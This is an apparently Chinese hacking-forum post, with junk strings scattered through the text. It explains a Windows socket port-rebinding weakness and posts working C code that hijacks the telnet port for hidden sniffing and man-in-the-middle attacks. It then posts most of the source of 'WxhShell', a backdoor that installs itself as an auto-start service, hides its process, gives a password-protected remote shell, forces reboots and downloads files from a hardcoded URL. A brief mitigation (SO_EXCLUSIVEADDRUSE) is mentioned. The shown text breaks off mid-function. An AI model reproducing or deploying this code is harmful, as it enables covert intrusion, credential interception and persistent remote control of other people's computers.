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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gM^ Hs7o,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BQ2DQ7q  
lk)38.  
  saddr.sin_family = AF_INET; 6- s/\  
9p9:nx\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [ !].G=8  
= 0Z}s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?2aglj*"v,  
<x53b/ft  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m!tB;:6  
j1_CA5V  
  这意味着什么?意味着可以进行如下的攻击: sJw#^l  
:BN qr[=b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gY=nU,;  
1<Qb"FN!2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) XSpX6fq  
k-*H=km  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Dc}-wnga  
,1a6u3f,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  BwEO2a{  
oDrfzm|[Y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g-bHf]'  
|zKFF?7#wE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;S7MP`o@  
9NBFG~)|l[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "fU=W|lY  
g\,pZ]0i  
  #include  |'aGj  
  #include %7x x"$P:R  
  #include kD8$ir'UYG  
  #include    nxS|]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X6)-1.T&  
  int main() gp`$/ci  
  { +? E~F  
  WORD wVersionRequested; 64fa0j~<*M  
  DWORD ret; ; $i{>mDT  
  WSADATA wsaData; yT.h[yv"w  
  BOOL val; mCb(B48]%X  
  SOCKADDR_IN saddr; >7V96jL$Y  
  SOCKADDR_IN scaddr; jAie[5  
  int err; nD@/,kw"  
  SOCKET s; :k*'M U}  
  SOCKET sc; |-a5|3  
  int caddsize; %JF^@\E!|  
  HANDLE mt; ?#YheML?  
  DWORD tid;   ]w`)"{j5m  
  wVersionRequested = MAKEWORD( 2, 2 ); Tty_P,  
  err = WSAStartup( wVersionRequested, &wsaData ); 9~n`6;R  
  if ( err != 0 ) { 2Tec#eYe  
  printf("error!WSAStartup failed!\n"); (~q.YJ'  
  return -1; v[{g "C  
  } B52n'.  
  saddr.sin_family = AF_INET; !}[}YY?',i  
   n=J~Rssp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wI8  
X6)%2TwO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IO3p&sJ/  
  saddr.sin_port = htons(23); P{fT5K|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ne#FBRu5  
  { N-Fs-uB  
  printf("error!socket failed!\n"); >cU#($X$^  
  return -1; -@L7! ,j  
  } nsn  
  val = TRUE; DcYL8u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E:vgG|??  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .j^tFvN~L  
  { Z*/{^ zsE  
  printf("error!setsockopt failed!\n"); PkX4 !  
  return -1; QTr) r;Tro  
  } J>Pc@,y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uDD{O~wF,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _|+}4 ap  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C0C2]xx{  
M^IEu }  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]bxBo  
  { @7UZ{+67*C  
  ret=GetLastError(); gxnIur)  
  printf("error!bind failed!\n"); dynkb901s  
  return -1; *.%z  
  } abMB-  
  listen(s,2); )qSjI_qt5  
  while(1) g y5^JL  
  { 1Hl-|n  
  caddsize = sizeof(scaddr); oZ,J{I!L  
  //接受连接请求 d?:KEi-<7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3JYhF)G  
  if(sc!=INVALID_SOCKET) ^_\S)P2c  
  { Gh%R4)}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H4B|c42  
  if(mt==NULL) R?{f:,3R  
  { +Vv+<M  
  printf("Thread Creat Failed!\n"); H!'Ek[s+  
  break; mH.c`*  
  } t=nZ1GZyM  
  } T.(C`/VM  
  CloseHandle(mt); =kzuU1s  
  } 2# 72B  
  closesocket(s); NF "|*S  
  WSACleanup(); RGgePeaw  
  return 0; bG)EZ  
  }   MJ"@  
  DWORD WINAPI ClientThread(LPVOID lpParam) o5B]?ekpq  
  { >:Y"DX-  
  SOCKET ss = (SOCKET)lpParam; !zVjbYWY  
  SOCKET sc; vh"wXu  
  unsigned char buf[4096]; HPMj+xH  
  SOCKADDR_IN saddr; ZH)Jq^^RI  
  long num; C/?x`2'  
  DWORD val; 3AcS$.G  
  DWORD ret; ARUzEo gcf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LpK? C<?x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Tw,|ZA4XH  
  saddr.sin_family = AF_INET; ' !2NSv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $^e(?P q  
  saddr.sin_port = htons(23); !'eh@BU;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '4Drs}j5  
  { r>#4Sr  
  printf("error!socket failed!\n"); BZQ"[-V{  
  return -1; ToK=`0#LNK  
  } _z=yt t9D  
  val = 100; HvR5-?qQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s !IvUc7'  
  { 2FN E ;y(  
  ret = GetLastError(); wP7 E8'  
  return -1; g@'2 :'\  
  } K=! C\T"I%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C{:U<q  
  { b@S~ =  
  ret = GetLastError(); e ?7y$H-  
  return -1; eZ]>;5  
  } XU<XK9EA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .6!cHL3ln  
  { Aj8zFt ]  
  printf("error!socket connect failed!\n"); !K-qoBqKM  
  closesocket(sc); U2)?[C1q{  
  closesocket(ss); :N !s@6  
  return -1; b0sj0w/  
  } ]u^ybW"  
  while(1) [!C!R$AMa  
  { ~Ede5Vg!!2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |!81M|H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *k,{[b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {Hie% 2V  
  num = recv(ss,buf,4096,0); EERCb%M 8Z  
  if(num>0) ]Exbuc  
  send(sc,buf,num,0); qpQiMiB#g'  
  else if(num==0) r0wAh/J|  
  break; GTi=VSGqF  
  num = recv(sc,buf,4096,0); 0dIGX |e  
  if(num>0) '0^lMQMg  
  send(ss,buf,num,0); odDVdVx0  
  else if(num==0)  od$$g(  
  break; <`WDNi$Y  
  } _R^ZXtypd  
  closesocket(ss); g:.LCF  
  closesocket(sc); G5|'uKz2"  
  return 0 ; XI:+EeM?  
  }  #]QS   
f*:N*cC  
mE;^B%v  
========================================================== (/^?$~m"  
)Y&B63]B  
下边附上一个代码,,WXhSHELL z}iz~WZ  
U# IPYyV  
========================================================== \vx'+}  
GDs/U1[*  
#include "stdafx.h" h+7U'+|%A  
*%\Xw*\0  
#include <stdio.h> 0$NzRPbH  
#include <string.h> wz@[rMf  
#include <windows.h> &> _aY #  
#include <winsock2.h> w#_7,*6]  
#include <winsvc.h> >0u*E *Y  
#include <urlmon.h> oGyoU#z#  
I?nU+t;  
#pragma comment (lib, "Ws2_32.lib") Q-A_8  
#pragma comment (lib, "urlmon.lib") -GCU6U|  
WZjR^ 6  
#define MAX_USER   100 // 最大客户端连接数 aO}p"-'  
#define BUF_SOCK   200 // sock buffer R6`mmJ+'  
#define KEY_BUFF   255 // 输入 buffer ?)[=>Kp  
*NM*   
#define REBOOT     0   // 重启 w11L@t[5W8  
#define SHUTDOWN   1   // 关机 F&#I[]#  
*y(UI/c  
#define DEF_PORT   5000 // 监听端口 <WbO&;%  
*3h_'3yo@  
#define REG_LEN     16   // 注册表键长度 yRD tPK"E-  
#define SVC_LEN     80   // NT服务名长度 i+Mg[x$.  
U6o]7j&6  
// 从dll定义API /XA*:8~!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &_s^C?x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,,1y0s0`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &|h9L'mr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0+)1K U)I  
zG c ]*R  
// wxhshell配置信息 &h.?~Ri  
struct WSCFG { 4N1)+ W8k*  
  int ws_port;         // 监听端口 Nx+5rp  
  char ws_passstr[REG_LEN]; // 口令 a<]vHC7  
  int ws_autoins;       // 安装标记, 1=yes 0=no I.>8p]X  
  char ws_regname[REG_LEN]; // 注册表键名 +QOK]NJN  
  char ws_svcname[REG_LEN]; // 服务名 B/mfm 7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q'hs,t1<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +VJyGbOcC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pV!WZ Ufg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]GsI|se  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1.<gC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h Z/p'  
A;6ew4  
}; (dx~lMI  
sPl3JP&s  
// default Wxhshell configuration Q~n%c7  
struct WSCFG wscfg={DEF_PORT, &" 5Yt&{  
    "xuhuanlingzhe", Q. '2 v%i  
    1, TTWiwPo59  
    "Wxhshell", f)V6VNW.3  
    "Wxhshell", bj_/  
            "WxhShell Service", ;!7M<T$&  
    "Wrsky Windows CmdShell Service", T.B7QAI. H  
    "Please Input Your Password: ", 5^CWF|  
  1,  [@3.dd  
  "http://www.wrsky.com/wxhshell.exe", 7osHKO<?2  
  "Wxhshell.exe" - (q7"h  
    }; 7j(gW  
ux 17q>G  
// 消息定义模块 '$ z@40u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FBOgaI83G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W'Y(@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <^W5UU#Pg  
char *msg_ws_ext="\n\rExit."; 4af^SZ )l  
char *msg_ws_end="\n\rQuit."; T{N8 K K  
char *msg_ws_boot="\n\rReboot..."; *iyc,f^w  
char *msg_ws_poff="\n\rShutdown..."; zyt >(A1  
char *msg_ws_down="\n\rSave to "; jfam/LL{V  
9%0^fhrJ  
char *msg_ws_err="\n\rErr!"; \ NKw,`/  
char *msg_ws_ok="\n\rOK!"; ICc:k%wE7  
{h.j6  
char ExeFile[MAX_PATH]; xK5~9StP  
int nUser = 0; 9A|9:OdG1  
HANDLE handles[MAX_USER]; ^ ]+vtk  
int OsIsNt; ~LP5hL  
6JR FYgI  
SERVICE_STATUS       serviceStatus; W A*1_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t\v~ A0  
FJ{&R Ld  
// 函数声明 -[h|*G.J  
int Install(void); ~\<L74BB  
int Uninstall(void); m}>Q#IVZ  
int DownloadFile(char *sURL, SOCKET wsh); #>sI XY  
int Boot(int flag); <7gv<N6BQf  
void HideProc(void); HXPq+  
int GetOsVer(void); x0%@u^BF  
int Wxhshell(SOCKET wsl); am7~  
void TalkWithClient(void *cs); [F{P0({%?  
int CmdShell(SOCKET sock); !HP=Rgh  
int StartFromService(void); /xB O;'rR  
int StartWxhshell(LPSTR lpCmdLine); (rq(y$N  
s3K!~v\L]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k/BlkjlNE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `lt[Q>Z  
K<50>uG  
// 数据结构和表定义 R D?52\  
SERVICE_TABLE_ENTRY DispatchTable[] = !!cN4X  
{ mrr -jo  
{wscfg.ws_svcname, NTServiceMain}, ;Sp/N4+  
{NULL, NULL} L@ejFXQg  
}; 8= =_43  
IlB*JJnl  
// 自我安装 M)H*$!x}>  
int Install(void) l 3 jlKB  
{ \BO6.;jA  
  char svExeFile[MAX_PATH]; Q-1 Xgw!  
  HKEY key; g0-rQA  
  strcpy(svExeFile,ExeFile); upZf&4 I8  
wyLyPJv  
// 如果是win9x系统,修改注册表设为自启动 ^ohIJcI-  
if(!OsIsNt) { 1y,/|Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^uPg71r:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [X>f;;h  
  RegCloseKey(key); _1~pG)y$U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U\-R'Z>M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vcaPd}nf  
  RegCloseKey(key);  s=556  
  return 0; %36@1l-N  
    } /w2-Pgm-[\  
  } Zq5~M bldh  
} =1<v1s|)q  
else { io@f5E+?  
4=N(@mS  
// 如果是NT以上系统,安装为系统服务 V7cr%tY5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g${k8.TV  
if (schSCManager!=0) Sl@Ucc31  
{ `; j$]  
  SC_HANDLE schService = CreateService Y%>u.HzL  
  ( K_!:oe7%  
  schSCManager, [ugr<[6  
  wscfg.ws_svcname, p+d O w #  
  wscfg.ws_svcdisp, b[:{\ !I  
  SERVICE_ALL_ACCESS, c@J@*.q]   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mz\l C)\B  
  SERVICE_AUTO_START, v-/vj/4>  
  SERVICE_ERROR_NORMAL, %E"Z &_3{  
  svExeFile, Ba** S8{/`  
  NULL, yqB!0) <  
  NULL, )V&hS5P=S  
  NULL, 7+qKA1t^  
  NULL, V)vik  
  NULL ?-)v{4{s  
  ); &So1;RR,_M  
  if (schService!=0) NB+/S;`  
  { LWhP d\  
  CloseServiceHandle(schService); <XN=v!2;  
  CloseServiceHandle(schSCManager); G\B+bBz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4IvT}Us#+  
  strcat(svExeFile,wscfg.ws_svcname); "\ =Phqw   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^)(tO$S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qkhor-f0  
  RegCloseKey(key); +w"?q'SnF  
  return 0; kg\8 (@h]  
    } / :6|)AW.{  
  } 5pK _-:?  
  CloseServiceHandle(schSCManager);  WjCxTBI  
} {^1''  
} /bPs0>5  
+-,iC6kK  
return 1; e `OQ6|.k8  
} x*=1C,C  
"?<h,Hvi  
// 自我卸载 "/mt uU3rt  
int Uninstall(void) m^=El7+  
{ SD<a#S\o  
  HKEY key; 8/&4l,M5  
Ks@c wY  
if(!OsIsNt) { v+8Ybq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >P&1or)e%  
  RegDeleteValue(key,wscfg.ws_regname); 5t"FNL <(M  
  RegCloseKey(key); D9?.Ru0.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P;mp)1C  
  RegDeleteValue(key,wscfg.ws_regname);  Ip:54  
  RegCloseKey(key); #<ST.f@*  
  return 0; y@<2`h  
  } -a&<Un/  
} Jazgn5  
}  qLP/z  
else { %.?V\l  
mt`CQz"_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aWJj@',_  
if (schSCManager!=0) eZN"t~\rX  
{ !8| }-eFY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PMV,*`"9"A  
  if (schService!=0) m[74p  
  { _B&Lyg !J  
  if(DeleteService(schService)!=0) { %W)pZN}  
  CloseServiceHandle(schService); (QJe-)0_y  
  CloseServiceHandle(schSCManager); e,MsF4'  
  return 0; Y)+q[MZ R  
  } 8W?dWj  
  CloseServiceHandle(schService); #/f~LTE  
  } IA({RE  
  CloseServiceHandle(schSCManager); Zd-6_,r  
} (6Z^0GL  
} aR/?YKA  
OTdijQLY  
return 1; ;%B9mM#p~  
} L/V^#$  
~IS8DW$;  
// 从指定url下载文件 5UO+c( T  
int DownloadFile(char *sURL, SOCKET wsh) -4& i t:  
{ a4=(z72xe  
  HRESULT hr; @q q"X'3t  
char seps[]= "/"; ]p 3f54!  
char *token; .  yg#  
char *file; @ 2)nhW/z6  
char myURL[MAX_PATH]; d#H9jg15e  
char myFILE[MAX_PATH]; rUj\F9*5#  
.t5.(0Xk[A  
strcpy(myURL,sURL); '2H?c<Y3  
  token=strtok(myURL,seps);  pUb1#=  
  while(token!=NULL) hEQyaDD;  
  { J-5>+E,nZ  
    file=token; R=lw}jH[Z  
  token=strtok(NULL,seps); czuIs|_K*  
  } a3tcLd|7J  
YcN|L&R.  
GetCurrentDirectory(MAX_PATH,myFILE); 8b)WOr6n  
strcat(myFILE, "\\"); :Kwu{<rJ!(  
strcat(myFILE, file); uK2HtRY1  
  send(wsh,myFILE,strlen(myFILE),0); >8>!wi9U  
send(wsh,"...",3,0); |'nQvn:{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Og/aTR<;=  
  if(hr==S_OK) bOFzq>k_  
return 0; ?K>)bA&l'  
else m-vn5OX  
return 1; xR/CP.dg  
:ZV |8xI  
} iZ-R%-}B  
t]$n~!  
// 系统电源模块 si]VM_w6  
int Boot(int flag) >v.f H6P,}  
{ / \w4k  
  HANDLE hToken; g Ed A hfx  
  TOKEN_PRIVILEGES tkp; $nO~A7  
 $3^M-w  
  if(OsIsNt) { Q[biy{(b8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )!2@v@SQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CUu Owx6%  
    tkp.PrivilegeCount = 1; &zdS9e-fF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1;ttwF>G7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H5}61JC/z  
if(flag==REBOOT) { ca g5w~Px  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) da7"Q{f+  
  return 0; ws'e  
} gyw=1q+  
else { *[Z`0AgP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .~f )4'T 9  
  return 0; $0_K&_5w~  
} $oBs%.Jp  
  } :y-;V  
  else { ba|xf@=&  
if(flag==REBOOT) { Qn*l,Z]US  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9zwD%3Ufn  
  return 0; jIubJQR~  
} 6e-ME3!<l  
else { .l1x~(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JbPkC*.  
  return 0; >dl5^  
} 72dRp!J U  
} 0;bdwIP3  
I%5vI}  
return 1; *D? =Ts  
} {A0jkU  
|Ea%nghl  
// win9x进程隐藏模块 @+b$43 ^  
void HideProc(void) Kb%Y%j  
{ ``l*;}  
LYD iqOrx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L7rgkxI7k*  
  if ( hKernel != NULL ) !85bpQ.  
  { /~NX<Ye&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qp})4XTv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z@zo~*o  
    FreeLibrary(hKernel); EF)BezG5y  
  } 5#.m'a)  
1#d2 +J*  
return; iB)\* )  
} +``vnC  
50_[hC&C)  
// 获取操作系统版本 6Z_V,LD9L  
int GetOsVer(void) L$PbC!1  
{ PuN L%D  
  OSVERSIONINFO winfo; $s7U |F,I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |vs5N2_  
  GetVersionEx(&winfo); /8l-@P. o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o/{`\4  
  return 1; q;e b  
  else ?|5M'o|9  
  return 0; >?^oxB"<Gc  
} Bp^LLH  
RL` E}:V  
// 客户端句柄模块 A%D 'Z85 -  
int Wxhshell(SOCKET wsl) |m's)  
{ /b,>fK^  
  SOCKET wsh; x#0?$}f<  
  struct sockaddr_in client; 8eB,$;i  
  DWORD myID; 0F)v9EK(W4  
.YF1H<gwa  
  while(nUser<MAX_USER) M(C">L]8  
{ DtANb^  
  int nSize=sizeof(client); T1Py6Q,-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (.#nl}fA  
  if(wsh==INVALID_SOCKET) return 1; AS;Sz/YP  
YoKE=ln7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >w.;A%|N  
if(handles[nUser]==0) og";mC  
  closesocket(wsh);  ] 2 `%i5  
else 3q%z  
  nUser++; 9QU\J0c/  
  } cW*v))@2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YrL(4 Nt8  
UwUHB~<oE  
  return 0; V*n$$-5 1-  
} t'2A)S  
iy~h|YK;  
// 关闭 socket !.UE}^TV  
void CloseIt(SOCKET wsh) yEWm.;&3=  
{ s*rR> D:  
closesocket(wsh); rO#w(]   
nUser--; O>DS%6/G  
ExitThread(0); 3k'Bje?9~  
} JU)^b V_  
>az~0PeEL  
// 客户端请求句柄 uGZGI;9f4  
void TalkWithClient(void *cs) 0`E G-Hw  
{ C+' -TLeu  
O[d#-0s  
  SOCKET wsh=(SOCKET)cs; Cf(WO-F^  
  char pwd[SVC_LEN]; qWH^/o  
  char cmd[KEY_BUFF]; 4`8s]X  
char chr[1]; P^OmJ;""D  
int i,j; [RXLR#  
ZiZ@3O6  
  while (nUser < MAX_USER) { MFROAVPZ5  
a{xJ#_/6  
if(wscfg.ws_passstr) { E3 % ~!ZC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1'/ [x(/]d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9D14/9*(dU  
  //ZeroMemory(pwd,KEY_BUFF); _. 9 5>`  
      i=0; vb[0H{TT2  
  while(i<SVC_LEN) { s4|tWfZ  
V.{HMeE4  
  // 设置超时 Md4Q.8  
  fd_set FdRead; Z5xQ -T`  
  struct timeval TimeOut; ^'=[+  
  FD_ZERO(&FdRead); <r,5F:  
  FD_SET(wsh,&FdRead); ND1hZ3(^  
  TimeOut.tv_sec=8; @RPQ 1da  
  TimeOut.tv_usec=0; r[(;J0=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fNLO%\G~2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GeJ}myD O  
(d#&m+ g]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jk%5Fw0  
  pwd=chr[0]; 2OUx@Vj  
  if(chr[0]==0xd || chr[0]==0xa) { l)\Q~^cxd  
  pwd=0; 9}QIqH\p  
  break; Ug+ K:YUq  
  } x'0_lf</ #  
  i++; q;#AlquY@  
    } xS UpVK  
+\ftSm>  
  // 如果是非法用户,关闭 socket }vh <x6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CJk"yW[,|  
} MB;rxUbhe3  
xxs +=.2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [;{xiW4V]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CmXLD} L_x  
v' t'{g%  
while(1) { D SX%SE)  
NxF:s,a6  
  ZeroMemory(cmd,KEY_BUFF); lD0a<L 3  
hqln6m  
      // 自动支持客户端 telnet标准   {X<g93  
  j=0; +@]k[9  
  while(j<KEY_BUFF) { vLxaZWr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iT:i '\~  
  cmd[j]=chr[0]; <lR:^M[v5<  
  if(chr[0]==0xa || chr[0]==0xd) { \)5mO 8w  
  cmd[j]=0; CKH mJ]=  
  break; C[.Xi  
  } 7zx xO|p[  
  j++; ,vLQx\m{  
    } c/ImK`:)4a  
XY{N"S8  
  // 下载文件 4`"}0:t.  
  if(strstr(cmd,"http://")) { SW%}S*h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >yKz8SV#  
  if(DownloadFile(cmd,wsh)) QuEX|h,F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!uyTgq  
  else #w%-IhP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bD=H$)  
  } i7- i!`<  
  else {  I!?Xq  
Odwf7>  
    switch(cmd[0]) { lx4p Tw1  
  C) R hld  
  // 帮助 JwxKWVpWv  
  case '?': { FRR05%K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Eoixw8hz  
    break; Dqo#+_v  
  } ]e),#_M  
  // 安装 V-7l+C5  
  case 'i': { cH*")oD  
    if(Install()) [ KgO:},c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xDU \mfeGj  
    else 4v/MZ:%C`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~}j+~  
    break; ,vmn{gz  
    } -5  
  // 卸载 ,ja!OZ0$  
  case 'r': { awo'#Y2>  
    if(Uninstall()) OnE%D|Tq=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BFw_T3}zn  
    else $365VTh"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i,^3aZwJ'  
    break; [u!n=ev  
    } B(1-u!pz  
  // 显示 wxhshell 所在路径 2? yo  
  case 'p': { rxX4Cw]\"y  
    char svExeFile[MAX_PATH]; *GoTN  
    strcpy(svExeFile,"\n\r"); izcaWt3 a  
      strcat(svExeFile,ExeFile); v=iiS}s  
        send(wsh,svExeFile,strlen(svExeFile),0); 7^#f)Vp  
    break; 3s?u05_  
    } O=+$X Pa|  
  // 重启 Z6${nUX  
  case 'b': { 2Q%7J3I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @I-gs(  
    if(Boot(REBOOT)) [5~mP`He  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QPB,B>Z  
    else { V6P-?Nd  
    closesocket(wsh); 5z 0VMt  
    ExitThread(0); 7Q&-ObW  
    } 3%?tUt  
    break; F<b'{qf"  
    } xrvM}Il  
  // 关机 Q*T 'tkp  
  case 'd': { cg3}33Z;6  
